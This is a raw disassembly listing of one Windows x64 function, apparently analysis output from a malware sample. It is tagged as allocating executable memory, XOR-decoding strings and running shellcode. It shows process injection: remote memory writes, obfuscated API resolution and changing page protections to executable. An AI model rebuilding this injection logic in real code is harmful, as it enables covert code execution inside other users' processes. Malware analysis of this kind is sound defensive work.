Function at 0x18001b9a0
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
mov rax, rsp
mov qword [rax + 0x20], r9
mov qword [rax + 0x18], r8
mov qword [rax + 0x10], rdx
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x208]
sub rsp, 0x2c8
movaps xmmword [rax - 0x58], xmm6
movaps xmmword [rax - 0x68], xmm7
movaps xmmword [rax - 0x78], xmm8
mov r14, rdx
xor r13d, r13d
mov r15, qword [rcx + 0x18]
lea rax, [r15 - 1]
cmp rax, 0xfffffffffffffffd
ja 0x18001ce11
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
mov r8, qword [rdx + 0x10]
xor edx, edx
mov rcx, r15
call fcn.180014520
mov rsi, rax
mov qword [rsp + 0x78], rax
test rax, rax
jne 0x18001ba5b
mov rdx, qword [r14 + 0x18]
cmp rdx, 0x10
jb 0x18001ba51
inc rdx
mov rcx, qword [r14]
cmp rdx, 0x1000
jb 0x18001ba4c
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x18001ce89
mov rcx, r8
call fcn.1800b9f6c
mov eax, 0xbb9
jmp 0x18001ce4c
mov rdi, qword [r14 + 0x10]
mov rbx, r14
cmp qword [r14 + 0x18], 0x10
jb 0x18001ba6c
mov rbx, qword [r14]
mov rax, qword [0x180361bd8]
cmp dword [rax + 0x30], 0
je 0x18001baec
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
cmp r15, rax
je 0x18001ba93
test r15, 0xffffffffa0000000
je 0x18001ba93
test r15b, 3
je 0x18001baaa
mov qword [rsp + 0x20], r13
mov r9, rdi
mov r8, rbx
mov rdx, rsi
mov rcx, r15
call qword [0x180361e08]
mov qword [rbp - 0x40], r13
mov qword [rbp - 0x18], r13
mov qword [rbp - 8], r13
mov qword [rbp], r13
mov qword [rbp + 8], 0x25
mov qword [rbp - 0x38], r15
mov qword [rbp - 0x30], rsi
mov qword [rbp - 0x28], rbx
mov qword [rbp - 0x10], rdi
mov qword [rbp - 0x20], r13
lea rdx, [rbp - 0x40]
mov ecx, recv
call fcn.180026270
mov dword [0x180361ee8], eax
jmp 0x18001bb03
mov qword [rsp + 0x20], r13
mov r9, rdi
mov r8, rbx
mov rdx, rsi
mov rcx, r15
call qword [sym.imp.ntdll.dll_NtWriteVirtualMemory]
test eax, eax
sete al
test al, al
jne 0x18001bb65
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rsi
mov rcx, r15
call fcn.180019a20
nop
mov rdx, qword [r14 + 0x18]
cmp rdx, 0x10
jb 0x18001bb5b
inc rdx
mov rcx, qword [r14]
cmp rdx, 0x1000
jb 0x18001bb56
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x18001ce89
mov rcx, r8
call fcn.1800b9f6c
mov eax, 0xbba
jmp 0x18001ce4c
mov r12, r13
mov qword [rsp + 0x48], r13
mov rax, qword [0x180361bd8]
cmp dword [rax + 0x20], 1
jne 0x18001c280
mov edi, 0xbbb
lea rdx, [rbp + 0x210]
lea rcx, [rbp - 0x80]
call fcn.18009f1b0
nop
mov r13, qword [rbp - 0x80]
cmp r13, qword [rbp - 0x78]
je 0x18001c182
lea rdi, [r13 + 0x30]
xor ecx, ecx
mov ebx, reloc.WS2_32.dll_WSAStartup
xorps xmm0, xmm0
movups xmmword [rbp + 0x30], xmm0
mov qword [rbp + 0x40], rcx
mov qword [rbp + 0x48], rcx
lea rdx, [rdi + 0x200]
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp word [rdx + r8*2], 0
jne 0x18001bbd0
lea rcx, [rbp + 0x30]
call fcn.180006af0
lea rdx, [rbp + 0x30]
lea rcx, [rsp + 0x58]
call fcn.18009d6c0
nop
movups xmm0, xmmword [str.AJGASZ_v_v:]
movups xmmword [rsp + 0x30], xmm0
movzx eax, word [0x180157c38]
mov word [rsp + 0x30], bx
xor word [rsp + 0x32], 0x33
xor word [rsp + 0x34], 0x34
xor word [rsp + 0x36], 0x35
xor word [rsp + 0x38], 0x36
xor word [rsp + 0x3a], 0x37
xor word [rsp + 0x3c], 0x38
xor word [rsp + 0x3e], 0x39
xor ax, 0x3a
mov word [rsp + 0x40], ax
lea rcx, [rsp + 0x30]
mov rax, 0xffffffffffffffff
nop word [rax + rax]
inc rax
cmp word [rcx + rax*2], 0
jne 0x18001bc50
lea rcx, [rsp + 0x58]
mov rsi, qword [rsp + 0x70]
cmp rsi, 8
setae r12b
mov rbx, qword [rsp + 0x58]
cmovae rcx, rbx
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x30]
xor r8d, r8d
mov rdx, qword [rsp + 0x68]
call fcn.1800134a0
cmp rax, 0xffffffffffffffff
je 0x18001bcd0
test r12b, r12b
je 0x18001c148
lea rdx, [rsi*2 + 2]
mov rax, rbx
cmp rdx, 0x1000
jb 0x18001bcc8
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001ce95
mov rcx, rbx
jmp 0x18001c143
xorps xmm0, xmm0
movups xmmword [rbp + 0x50], xmm0
xor ebx, ebx
mov qword [rbp + 0x60], rbx
mov qword [rbp + 0x68], rbx
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp word [rdi + r8*2], bx
jne 0x18001bcf0
mov rdx, rdi
lea rcx, [rbp + 0x50]
call fcn.180006af0
lea rdx, [rbp + 0x50]
lea rcx, [rbp + 0x70]
call fcn.18009d6c0
nop
movups xmm3, xmmword [str.YVF_S__v_v]
movups xmmword [rbp + 0x10], xmm3
movsd xmm0, qword [0x180157c18]
movsd qword [rbp + 0x20], xmm0
movzx eax, word [0x180157c20]
mov word [rbp + 0x28], ax
mov r8d, ebx
mov r12d, dword [reloc.WS2_32.dll_accept]
mov r10d, 0x1f
cmp r12d, 2
jl 0x18001be3a
movdqa xmm4, xmmword [0x18015bf50]
mov eax, 4
movd xmm6, eax
movd xmm5, r10d
movdqa xmm2, xmmword [0x18015bd60]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x18015bdb0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm2, xmmword [str.222222223333333388888888]
movq xmm1, xmm3
xorps xmm2, xmm1
movq qword [rbp + 0x10], xmm2
movdqa xmm3, xmmword [0x18015bd70]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x18015bdb0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm2, xmmword [str.222222223333333388888888]
movq xmm0, qword [rbp + 0x18]
xorps xmm2, xmm0
movq qword [rbp + 0x18], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x10]
lea r9, [r9 + rax*2]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x35
movzx eax, r8w
sub ax, cx
add ax, 0x32
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0xd
jl 0x18001be50
lea rcx, [rbp + 0x10]
mov rax, 0xffffffffffffffff
nop
inc rax
cmp word [rcx + rax*2], 0
jne 0x18001be90
lea r8, [rbp + 0x70]
mov rsi, qword [rbp + 0x88]
cmp rsi, 8
setae r9b
mov rbx, qword [rbp + 0x70]
cmovae r8, rbx
mov rdx, qword [rbp + 0x80]
cmp rdx, rax
jne 0x18001c0cb
lea rcx, [rbp + 0x10]
test rdx, rdx
je 0x18001bef8
lea rax, [rbp + 0x10]
sub r8, rax
nop word [rax + rax]
movzx eax, word [r8 + rcx]
cmp ax, word [rcx]
jne 0x18001c0cb
add rcx, 2
sub rdx, 1
jne 0x18001bee0
xor r11d, r11d
mov edi, r11d
movsd xmm0, qword [str.UQzZK_IE_]
movsd qword [rsp + 0x30], xmm0
mov eax, dword [0x180157bf0]
mov dword [rsp + 0x38], eax
movzx eax, byte [0x180157bf4]
mov byte [rsp + 0x3c], al
mov r8d, r11d
cmp r12d, 2
jl 0x18001c034
movdqa xmm4, xmmword [0x18015bf50]
mov eax, 4
movd xmm6, eax
movd xmm5, r10d
movdqa xmm2, xmmword [0x18015bd60]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x18015bdb0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x18015be90]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x18015beb0]
movd xmm0, dword [str.UQzZK_IE_]
xorps xmm2, xmm0
movd dword [rsp + 0x30], xmm2
movdqa xmm3, xmmword [0x18015bd70]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x18015bdb0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x18015be90]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x18015beb0]
movd xmm0, dword [rsp + 0x34]
xorps xmm2, xmm0
movd dword [rsp + 0x34], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x18001c040
xorps xmm0, xmm0
movups xmmword [rbp + 0x30], xmm0
mov qword [rbp + 0x40], r11
mov qword [rbp + 0x48], r11
lea rax, [rsp + 0x30]
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], dil
jne 0x18001c090
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x30]
call fcn.180006d10
lea rdx, [r13 + 0x230]
lea rcx, [rbp + 0x30]
call fcn.1800a0c00
test eax, eax
je 0x18001c1d7
mov r12d, eax
add r12, qword [r13 + 0x18]
jmp 0x18001c1e1
test r9b, r9b
je 0x18001c106
lea rdx, [rsi*2 + 2]
mov rax, rbx
cmp rdx, 0x1000
jb 0x18001c0fd
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001ce8f
mov rcx, rbx
call fcn.1800b9f6c
nop
mov rdx, qword [rsp + 0x70]
cmp rdx, 8
jb 0x18001c148
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001c143
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001ce95
call fcn.1800b9f6c
xor ecx, ecx
mov qword [rsp + 0x68], rcx
mov qword [rsp + 0x70], 7
mov word [rsp + 0x58], cx
add r13, 0x438
add rdi, 0x438
cmp r13, qword [rbp - 0x78]
jne 0x18001bba8
mov edi, 0xbbb
mov r12d, ecx
mov rsi, qword [rsp + 0x78]
xor r13d, r13d
lea rcx, [rbp - 0x80]
call fcn.180012f90
test edi, edi
je 0x18001c62a
mov rdx, qword [r14 + 0x18]
cmp rdx, 0x10
jb 0x18001c1d0
inc rdx
mov rcx, qword [r14]
cmp rdx, 0x1000
jb 0x18001c1cb
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x18001ce89
mov rcx, r8
call fcn.1800b9f6c
mov eax, edi
jmp 0x18001ce4c
mov edi, 0xbbc
mov r12, qword [rsp + 0x48]
cmp rsi, 8
jb 0x18001c21d
lea rdx, [rsi*2 + 2]
mov rax, rbx
cmp rdx, 0x1000
jb 0x18001c214
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001ce8f
mov rcx, rbx
call fcn.1800b9f6c
nop
mov rdx, qword [rsp + 0x70]
cmp rdx, 8
jb 0x18001c25f
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001c25a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001ce95
call fcn.1800b9f6c
xor r13d, r13d
mov qword [rsp + 0x68], r13
mov qword [rsp + 0x70], 7
mov word [rsp + 0x58], r13w
mov rsi, qword [rsp + 0x78]
jmp 0x18001c185
movsd xmm0, qword [str.yVF_S__v_v]
movsd qword [rsp + 0x30], xmm0
mov eax, dword [0x180157c00]
mov dword [rsp + 0x38], eax
movzx eax, byte [0x180157c04]
mov byte [rsp + 0x3c], al
mov r8d, r13d
mov edi, 0x1f
mov ebx, dword [reloc.WS2_32.dll_accept]
lea r12d, [rdi - 0x1b]
cmp ebx, 2
jl 0x18001c3c5
movdqa xmm4, xmmword [0x18015bf50]
movd xmm6, r12d
movd xmm5, edi
movdqa xmm2, xmmword [0x18015bd60]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x18015bdb0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x18015be90]
packuswb xmm2, xmm2
mov eax, dword [0x18015beb0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.yVF_S__v_v]
xorps xmm2, xmm0
movd dword [rsp + 0x30], xmm2
movdqa xmm3, xmmword [0x18015bd70]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x18015bdb0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x18015be90]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x34]
xorps xmm2, xmm1
movd dword [rsp + 0x34], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x18001c3d0
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov r10, rax
test rax, rax
jne 0x18001c457
mov rdx, qword [r14 + 0x18]
cmp rdx, 0x10
jb 0x18001c44d
inc rdx
mov rcx, qword [r14]
cmp rdx, 0x1000
jb 0x18001c448
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x18001ce89
mov rcx, r8
call fcn.1800b9f6c
mov eax, 0xbbb
jmp 0x18001ce4c
movsd xmm0, qword [str.UQzZK_IE_]
movsd qword [rsp + 0x48], xmm0
mov eax, dword [0x180157bf0]
mov dword [rsp + 0x50], eax
movzx eax, byte [0x180157bf4]
mov byte [rsp + 0x54], al
mov r8d, r13d
cmp ebx, 2
jl 0x18001c58d
movdqa xmm4, xmmword [0x18015bf50]
movd xmm6, r12d
movd xmm5, edi
movdqa xmm2, xmmword [0x18015bd60]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x18015bdb0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x18015be90]
packuswb xmm2, xmm2
mov eax, dword [0x18015beb0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.UQzZK_IE_]
xorps xmm2, xmm0
movd dword [rsp + 0x48], xmm2
movdqa xmm3, xmmword [0x18015bd70]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x18015bdb0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x18015be90]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x4c]
xorps xmm2, xmm1
movd dword [rsp + 0x4c], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rsp + 0x48]
add r9, rax
nop dword [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x18001c5a0
lea rdx, [rsp + 0x48]
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r12, rax
test rax, rax
jne 0x18001c62a
mov rdx, qword [r14 + 0x18]
cmp rdx, 0x10
jb 0x18001c620
inc rdx
mov rcx, qword [r14]
cmp rdx, 0x1000
jb 0x18001c61b
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x18001ce89
mov rcx, r8
call fcn.1800b9f6c
mov eax, 0xbbc
jmp 0x18001ce4c
mov r8, rsi
mov rdx, r12
mov rcx, r15
call fcn.180013340
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rsi
mov rcx, r15
call fcn.180019a20
mov rdi, qword [r14 + 0x10]
mov rbx, r14
mov rsi, qword [r14 + 0x18]
cmp rsi, 0x10
jb 0x18001c66b
mov rbx, qword [r14]
test rdi, rdi
je 0x18001c700
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x90], xmm0
movups xmmword [rbp + 0xa0], xmm0
movups xmmword [rbp + 0xb0], xmm0
movups xmmword [rbp + 0xc0], xmm0
movups xmmword [rbp + 0xd0], xmm0
mov qword [rbp + 0xe0], rax
mov dword [rbp + 0xe8], eax
xor edx, edx
mov r8d, 0xa3
lea rcx, [rbp + 0xed]
call fcn.1800bcb60
mov byte [rbp + 0xec], 1
lea rax, [rdi - 1]
mov rcx, 0xffffffffffffffff
cmp rax, rcx
cmovb rcx, rax
add rcx, rbx
movzx eax, byte [rcx]
cmp byte [rbp + rax + 0x90], 0
jne 0x18001c6fb
cmp rcx, rbx
je 0x18001c700
dec rcx
movzx eax, byte [rcx]
cmp byte [rbp + rax + 0x90], 0
je 0x18001c6e6
sub rcx, rbx
jmp 0x18001c707
mov rcx, 0xffffffffffffffff
inc rcx
mov r8, rdi
sub r8, rcx
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
mov qword [rbp - 0x50], r13
mov qword [rbp - 0x48], r13
cmp rdi, rcx
jb 0x18001ce9b
mov rax, r14
cmp rsi, 0x10
jb 0x18001c734
mov rax, qword [r14]
lea rdx, [rax + rcx]
lea rcx, [rbp - 0x60]
call fcn.180006d10
nop
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
mov r13, rax
xor esi, esi
movabs r11, 0x7fffffffffffffff
movabs r10, 0x7ffffffffffffffe
lea r12, [rbp - 0x60]
cmp qword [rbp - 0x48], 0x10
setae r9b
cmovae r12, qword [rbp - 0x60]
add r12, qword [rbp - 0x50]
lea rbx, [rbp - 0x60]
test r9b, r9b
cmovne rbx, qword [rbp - 0x60]
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], rsi
cmp rbx, r12
jne 0x18001c7b0
mov eax, 7
mov qword [rbp - 0x68], rax
mov word [rbp - 0x80], si
jmp 0x18001c8c6
mov rax, r12
sub rax, rbx
mov edi, 7
mov qword [rbp - 0x68], rdi
cmp rax, r10
ja 0x18001ce83
cmp rax, 8
jb 0x18001c86e
mov rdi, rax
or rdi, 7
cmp rdi, r10
jbe 0x18001c7e7
mov rdi, r10
lea rcx, [r11 + r11]
jmp 0x18001c80d
cmp rdi, 0xa
mov eax, 0xa
cmovb rdi, rax
lea rcx, [rdi + 1]
cmp rcx, r11
ja 0x18001cea1
add rcx, rcx
cmp rcx, 0x1000
jb 0x18001c847
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x18001cea1
mov rcx, rax
call fcn.1800b9f30
mov rcx, rax
test rax, rax
je 0x18001cead
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
xor r11d, r11d
mov qword [rbp - 0x80], rax
mov qword [rbp - 0x68], rdi
jmp 0x18001c880
test rcx, rcx
je 0x18001c85e
call fcn.1800b9f30
xor r11d, r11d
mov qword [rbp - 0x80], rax
mov qword [rbp - 0x68], rdi
jmp 0x18001c880
xor r11d, r11d
mov eax, r11d
mov qword [rbp - 0x80], rax
mov qword [rbp - 0x68], rdi
jmp 0x18001c880
xor r11d, r11d
nop dword [rax]
nop word [rax + rax]
lea rcx, [rbp - 0x80]
cmp rdi, 8
cmovae rcx, qword [rbp - 0x80]
movsx eax, byte [rbx]
mov word [rcx + rsi*2], ax
mov rsi, qword [rbp - 0x70]
inc rsi
mov qword [rbp - 0x70], rsi
inc rbx
cmp rbx, r12
je 0x18001c8ad
mov rdi, qword [rbp - 0x68]
jmp 0x18001c880
lea rax, [rbp - 0x80]
cmp qword [rbp - 0x68], 8
cmovae rax, qword [rbp - 0x80]
mov word [rax + rsi*2], r11w
mov rax, qword [rbp - 0x68]
xor esi, esi
lea rdx, [rbp - 0x80]
cmp rax, 8
cmovae rdx, qword [rbp - 0x80]
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
mov qword [rsp + 0x68], rsi
mov qword [rsp + 0x70], rsi
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp word [rdx + r8*2], 0
jne 0x18001c8f0
lea rcx, [rsp + 0x58]
call fcn.180006af0
lea rax, [rsp + 0x58]
mov qword [rbp + 0x210], rax
mov rax, qword [0x180361bd8]
cmp dword [rax + 0x30], 0
setne r9b
mov ebx, dword [rax + 0x20]
cmp ebx, 2
sete r8b
lea rdx, [rsp + 0x58]
cmp qword [rsp + 0x70], 8
cmovae rdx, qword [rsp + 0x58]
mov byte [rsp + 0x20], 0
mov rcx, r15
call fcn.18002bab0
test rax, rax
jne 0x18001c952
mov rbx, rsi
jmp 0x18001c969
mov rcx, rax
cmp ebx, 2
je 0x18001c95f
mov ebx, dword [rax + 0x18]
jmp 0x18001c963
mov rbx, qword [rax + 0x30]
call fcn.1800c5e7c
nop
mov rdx, qword [rsp + 0x70]
cmp rdx, 8
jb 0x18001c9ab
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001c9a6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001cea7
call fcn.1800b9f6c
mov qword [rsp + 0x68], rsi
mov qword [rsp + 0x70], 7
mov word [rsp + 0x58], si
mov rdx, qword [rbp - 0x68]
cmp rdx, 8
jb 0x18001c9fe
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001c9f9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001cead
call fcn.1800b9f6c
test rbx, rbx
jne 0x18001cabb
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
sub rax, r13
cmp rax, 0x1388
jbe 0x18001c758
mov rdx, qword [rbp - 0x48]
cmp rdx, 0x10
jb 0x18001ca57
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001ca52
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001cebf
call fcn.1800b9f6c
mov qword [rbp - 0x50], rsi
mov qword [rbp - 0x48], send
mov byte [rbp - 0x60], 0
mov rdx, qword [r14 + 0x18]
cmp rdx, 0x10
jb 0x18001caa1
inc rdx
mov rcx, qword [r14]
cmp rdx, 0x1000
jb 0x18001ca9c
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x18001ce89
mov rcx, r8
call fcn.1800b9f6c
mov qword [r14 + 0x10], rsi
mov qword [r14 + 0x18], send
mov byte [r14], 0
mov eax, 0xbbd
jmp 0x18001ce5c
cmp qword [rbp + 0x220], 0
je 0x18001cd78
mov r13, qword [rbp + 0x228]
test r13, r13
je 0x18001cd78
mov qword [rsp + 0x30], rbx
mov dword [rbp + 0x210], esi
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
lea r12, [rax + 0x2710]
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
cmp rax, r12
ja 0x18001ccd9
mov rdi, r15
and rdi, 0xffffffffa0000000
nop word [rax + rax]
mov qword [rsp + 0x78], r13
lea rax, [rsp + 0x30]
mov qword [rsp + 0x48], rax
mov rax, qword [0x180361bd8]
cmp dword [rax + 0x30], 0
je 0x18001cbd9
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
cmp r15, rax
je 0x18001cba3
test rdi, rdi
je 0x18001cba3
mov rbx, r15
and ebx, 3
jne 0x18001cba3
mov qword [rbp - 0x40], rsi
mov qword [rbp - 0x28], rsi
mov qword [rbp - 0x10], rsi
mov qword [rbp - 4], 0
mov dword [rbp + 4], esi
mov qword [rbp + 8], 0x25
mov qword [rbp - 0x38], r15
lea rax, [rsp + 0x48]
mov qword [rbp - 0x30], rax
lea rax, [rsp + 0x78]
mov qword [rbp - 0x20], rax
mov dword [rbp - 8], 0x40
lea rax, [rbp + 0x210]
mov qword [rbp - 0x18], rax
lea rdx, [rbp - 0x40]
lea ecx, [rbx + 0xc]
call fcn.180026270
mov dword [0x180361ee8], eax
jmp 0x18001cc04
mov rax, qword [0x180361e28]
lea rcx, [rbp + 0x210]
mov qword [rsp + 0x20], rcx
mov r9d, 0x40
lea r8, [rsp + 0x78]
lea rdx, [rsp + 0x48]
mov rcx, r15
call rax
mov rbx, r15
and ebx, 3
mov dword [0x180361ee8], eax
jmp 0x18001cc04
lea rax, [rbp + 0x210]
mov qword [rsp + 0x20], rax
mov r9d, 0x40
lea r8, [rsp + 0x78]
lea rdx, [rsp + 0x48]
mov rcx, r15
call qword [sym.imp.ntdll.dll_NtProtectVirtualMemory]
mov rbx, r15
and ebx, 3
mov rsi, qword [rsp + 0x30]
mov rax, qword [0x180361bd8]
cmp dword [rax + 0x30], 0
je 0x18001cc9d
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
cmp r15, rax
je 0x18001cc2f
test rdi, rdi
